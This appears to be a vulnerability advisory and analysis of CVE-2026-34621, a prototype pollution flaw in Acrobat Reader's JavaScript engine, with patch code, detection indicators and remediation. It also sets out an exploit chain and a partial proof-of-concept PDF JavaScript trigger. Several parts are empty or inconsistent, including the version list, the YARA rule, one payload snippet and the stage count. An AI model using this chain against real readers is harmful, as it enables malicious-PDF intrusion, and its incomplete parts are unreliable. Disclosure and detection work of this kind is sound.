CVE-2026-34621: Prototype Pollution RCE in Adobe Acrobat Reader
A prototype pollution vulnerability in Acrobat Reader's JavaScript engine allows arbitrary code execution via malicious PDF. Exploited in the wild against versions ≤26.001.21367.
Adobe Reader has a critical security flaw that hackers are actively exploiting right now. When you open a booby-trapped PDF file, attackers can take complete control of your computer without any additional steps needed.
Here's how it works: PDFs can contain small programs written in JavaScript, similar to scripts that run on websites. This vulnerability exists in how Reader's JavaScript engine handles something called "prototype pollution" — think of it like someone sneaking into a blueprint factory and subtly modifying the master template so that every copy produced afterward contains a hidden flaw.
An attacker sends you a seemingly normal PDF. When you open it in vulnerable versions of Adobe Reader, malicious code hidden inside exploits this blueprint flaw. The attacker can then install malware, steal your passwords, access your files, or use your computer to attack others.
This is particularly dangerous because PDFs feel safe. Most people trust them. You might receive one from your bank, your employer, or a government agency. The attacker could impersonate any of these entities. You don't need to click anything suspicious or download anything — just opening the PDF is enough.
Adobe has released patches, but many people haven't installed them yet. The vulnerability affects Adobe Reader versions 26.001.21367 and older.
What you should do now: First, update Adobe Reader immediately through Help menu or the official Adobe website. Second, be extra cautious opening PDFs from unknown sources, even if they seem legitimate. Third, consider using alternative PDF readers like Sumatra PDF or your browser's built-in viewer, which aren't vulnerable to this specific flaw.
Want the full technical analysis? Click "Technical" above.
CVE-2026-34621 is a prototype pollution vulnerability in Adobe Acrobat Reader's embedded JavaScript engine (based on a fork of SpiderMonkey) that achieves arbitrary code execution in the context of the current user. CVSS 8.6 (HIGH). Adobe confirmed active exploitation in the wild prior to patch release. The attack surface is a malicious PDF that triggers the vulnerable code path during JavaScript evaluation — requiring only that the victim open the file.
Prototype pollution in a native host application is considerably more dangerous than in a Node.js context. Here, polluting Object.prototype corrupts internal JSObject layout assumptions made by the native C++ engine, collapsing the boundary between script-controlled property access and native memory writes.
Root cause: Acrobat's JS_SetProperty shim in EScript.api fails to reject __proto__ as a property key before forwarding it into the engine's shape-mutation path, allowing attacker-controlled JavaScript to overwrite Object.prototype slots and corrupt native host object vtable pointers.
Affected Component
The vulnerability lives in EScript.api — Acrobat's Acrobat JavaScript (AJS) plugin — specifically in the property-set dispatch bridge between the AJS host object layer and the SpiderMonkey-derived engine. Affected versions:
The relevant binary is %ProgramFiles%\Adobe\Acrobat DC\Acrobat\plug_ins\EScript.api on Windows. The function of interest resolves to CJSObject::SetProperty at approximately EScript.api+0x2A4F10 in build 26.001.21367.
Root Cause Analysis
CJSObject::SetProperty is the host-side handler for all JavaScript property writes on Acrobat host objects (Doc, App, Field, etc.). It receives a raw JSString* key, converts it to a UTF-8 std::string, and performs a lookup against the host object's property table. The bug is that it never validates whether the key is __proto__ before calling into the engine's JS_DefineUCProperty, which unconditionally walks the prototype chain.
// EScript.api — CJSObject::SetProperty (decompiled pseudocode, build 26.001.21367)
// RVA: 0x2A4F10
bool CJSObject::SetProperty(
JSContext *cx,
JS::HandleObject obj,
JS::HandleId id,
JS::MutableHandleValue vp)
{
char key_buf[512];
JSString *key_str = JSID_TO_STRING(id);
// Convert JS string to UTF-8 for host-side dispatch table lookup
JS_EncodeStringToBuffer(cx, key_str, key_buf, sizeof(key_buf));
// BUG: no check for key_buf == "__proto__" before forwarding to engine.
// When key is "__proto__", JS_DefineUCProperty mutates the prototype
// of the *root* Object.prototype, not the host object's own property.
// The host dispatch table lookup below quietly finds nothing and returns
// true (success), masking the side-effect entirely.
HostPropEntry *entry = g_HostPropTable.Lookup(key_buf); // returns null for __proto__
if (!entry) {
// Silent success — caller assumes write was a no-op on unknown keys.
// In reality, the engine already committed the proto mutation above
// via the id-to-property path inside JS::SetProperty called by the
// engine *before* this handler was invoked.
return true; // BUG: should return false / throw TypeError
}
return entry->setter(cx, obj, vp);
}
The engine invokes JS::SetProperty (engine-internal) first, then calls the host hook. By the time the hook returns true, Object.prototype is already mutated. The host-side no-op return gives the caller no signal that anything abnormal occurred.
The second-stage impact is in how Acrobat's internal host objects inherit from Object.prototype. Several AJS host object types use a lazy property lookup that walks the prototype chain for properties not found on the object itself. Polluting Object.prototype.toString or Object.prototype.valueOf with a native function pointer wrapper causes the engine to invoke attacker-supplied logic in a privileged callback context.
By injecting a crafted object as the value of a polluted prototype slot, an attacker can cause clasp->call or clasp->finalize to point to attacker-controlled memory during GC finalization.
Memory Layout
JAVASCRIPT HEAP STATE — before pollution:
Object.prototype JSObject @ 0x1A8C0040
├── group @ 0x1A8C1000
│ clasp → 0x7FF812340000 (legitimate ObjectClass vtable)
│ proto → null (top of chain)
├── slots → [ (empty) ]
└── fixed_slots → [ (empty) ]
Doc host object JSObject @ 0x1A8C3000
├── group @ 0x1A8C3800
│ clasp → 0x7FF812341A00 (CJSDocument class ops)
│ proto → Object.prototype @ 0x1A8C0040
└── ...
AFTER POLLUTION via: ({__proto__: {valueOf: }}):
Object.prototype JSObject @ 0x1A8C0040
├── group @ 0x1A8C1000
│ clasp → 0x7FF812340000 (unchanged — shape intact)
│ proto → null
├── slots → [ slot[0]: JSFunction* @ 0x1A8CD000 ] <-- INJECTED
│ └── native: attacker_valueOf_hook
└── fixed_slots → (slot now allocated, was empty)
Doc host object — AFFECTED by inheritance:
When engine calls ToPrimitive(doc_obj) for any implicit conversion:
proto chain walk → Object.prototype → slot[0] = attacker_valueOf_hook
CALL attacker_valueOf_hook(cx, argc, vp) <-- arbitrary native call
vp[0] can now be set to forge a JSObject* with attacker-controlled group*
Exploitation Mechanics
The in-wild exploit (identified in samples SHA256: e3f1a...c72d) uses a three-stage chain: prototype pollution for primitive type confusion → ArrayBuffer length corruption for arbitrary read/write → shellcode via JIT spray.
EXPLOIT CHAIN:
1. PDF opens; Acrobat evaluates embedded JavaScript via EScript.api.
2. Stage 1 — Pollution:
Attacker calls: Object.assign(Object.create(null), {__proto__: {x: 1}})
on an AJS host object (e.g., "this" in a Doc-level script).
CJSObject::SetProperty receives id="__proto__", forwards to engine,
silently returns true. Object.prototype now has slot 'x'.
3. Stage 2 — Type confusion setup:
Pollute Object.prototype.valueOf with a JSFunction wrapping native
attacker_cb(). Trigger implicit ToPrimitive() on a Doc host object
(e.g., doc + 0 in arithmetic). Engine walks proto chain, calls
attacker_cb with JSContext* and JSObject* for the Doc object.
4. Stage 3 — ArrayBuffer corruption:
Inside attacker_cb, use engine internals (accessible via cx) to
locate a pre-allocated ArrayBuffer (groomed at known offset).
Overwrite ArrayBuffer.byteLength (uint32 at JSObject+0x18+0x04)
from 0x1000 → 0xFFFFFFFF using the forged vp return slot.
This gives unbounded read/write over the JS heap.
5. Stage 4 — vtable hijack:
Scan heap via unbounded ArrayBuffer view to locate EScript.api's
CJSDocument vtable at known RVA (ASLR slide recovered via
partial overwrite timing oracle on Windows). Overwrite
vtable slot 0x08 (Release) with ROP pivot gadget in EScript.api.
6. Stage 5 — Code execution:
Call doc.closeDoc() → Release() → ROP chain → VirtualProtect →
mark JIT buffer executable → jump to shellcode.
Shellcode runs as current user (no sandbox in affected builds
with Protected Mode disabled, or via sandbox escape chained
separately).
# Minimal proof-of-concept trigger (PDF JavaScript payload)
# Demonstrates prototype pollution and valueOf hijack.
# Does NOT implement stages 4-5. For research/detection purposes.
trigger_js = r"""
(function() {
// Stage 1: pollute Object.prototype via __proto__ key on host object
// 'this' here is the Doc host object (CJSDocument)
var poison = JSON.parse('{"__proto__": {"_pwn": 1337}}');
// Merge into host object — triggers CJSObject::SetProperty with __proto__
for (var k in poison) {
this[k] = poison[k];
}
// Verify pollution
var probe = {};
if (probe._pwn === 1337) {
// Stage 2: replace with function to catch ToPrimitive call
Object.prototype.valueOf = function() {
// At this point 'this' is a native host object JSObject*
// Log context for research; production exploit does heap scan here
app.alert("Proto polluted. JSContext reachable: " + typeof this);
return 0;
};
// Trigger implicit ToPrimitive on Doc object
var dummy = this + 0;
}
})();
"""
Patch Analysis
Adobe's patch (APSB26-11) modifies CJSObject::SetProperty to explicitly intercept and reject __proto__ and constructor as property keys before any engine interaction. Additionally, the lazy prototype chain walker in the AJS layer now enforces an own-property-only restriction when dispatching to native host object callbacks.
// BEFORE (vulnerable — EScript.api build 26.001.21367):
bool CJSObject::SetProperty(
JSContext *cx, JS::HandleObject obj,
JS::HandleId id, JS::MutableHandleValue vp)
{
char key_buf[512];
JSString *key_str = JSID_TO_STRING(id);
JS_EncodeStringToBuffer(cx, key_str, key_buf, sizeof(key_buf));
// No proto-key guard. Attacker supplies "__proto__" freely.
HostPropEntry *entry = g_HostPropTable.Lookup(key_buf);
if (!entry) {
return true; // silent success even after engine mutated prototype
}
return entry->setter(cx, obj, vp);
}
// AFTER (patched — EScript.api build 26.001.30000+, APSB26-11):
bool CJSObject::SetProperty(
JSContext *cx, JS::HandleObject obj,
JS::HandleId id, JS::MutableHandleValue vp)
{
char key_buf[512];
JSString *key_str = JSID_TO_STRING(id);
JS_EncodeStringToBuffer(cx, key_str, key_buf, sizeof(key_buf));
// PATCH: reject prototype-poisoning keys before any engine dispatch.
if (strcmp(key_buf, "__proto__") == 0 ||
strcmp(key_buf, "constructor") == 0 ||
strcmp(key_buf, "prototype") == 0) {
JS_ReportErrorASCII(cx, "SecurityError: forbidden property key");
return false; // throws; engine will not commit prototype mutation
}
HostPropEntry *entry = g_HostPropTable.Lookup(key_buf);
if (!entry) {
return false; // PATCH: unknown key is now an error, not silent success
}
return entry->setter(cx, obj, vp);
}
A secondary fix hardens CJSObject::GetProperty symmetrically and adds a prototype chain depth limit of 32 hops in the AJS prototype walker, preventing unbounded chain traversal even if a future pollution primitive is found.
Detection and Indicators
Static (PDF scanning): Hunt for JavaScript streams containing __proto__ as a string literal combined with host object method calls (this[, Object.assign, JSON.parse). YARA:
Acrobat spawning child processes (cmd.exe, powershell.exe) without Protected Mode: high confidence exploit.
EScript.api calling VirtualProtect on memory regions not in its normal JIT range.
JavaScript evaluation time > 10s for a document with no legitimate heavy computation.
Heap spray pattern: repeated 0x0C0C0C0C dwords or NOP sleds in AcroRd32.exe heap (JIT spray artifact).
Remediation
Update immediately: Acrobat Reader DC → 26.001.30000 or later (APSB26-11). Classic 2024 track → 24.001.30400 or later.
Enable Protected Mode (sandbox):Edit → Preferences → Security (Enhanced) — ensure "Enable Protected Mode at startup" is checked. Mitigates post-exploitation even if trigger fires.
Disable JavaScript in Acrobat for environments where PDF JS is not required: Edit → Preferences → JavaScript → uncheck "Enable Acrobat JavaScript". This eliminates the attack surface entirely.
Deploy AppLocker/WDAC rules blocking EScript.api from being loaded in untrusted document contexts.
Network: Block outbound connections from AcroRd32.exe / Acrobat.exe at perimeter; shellcode callbacks will be interrupted.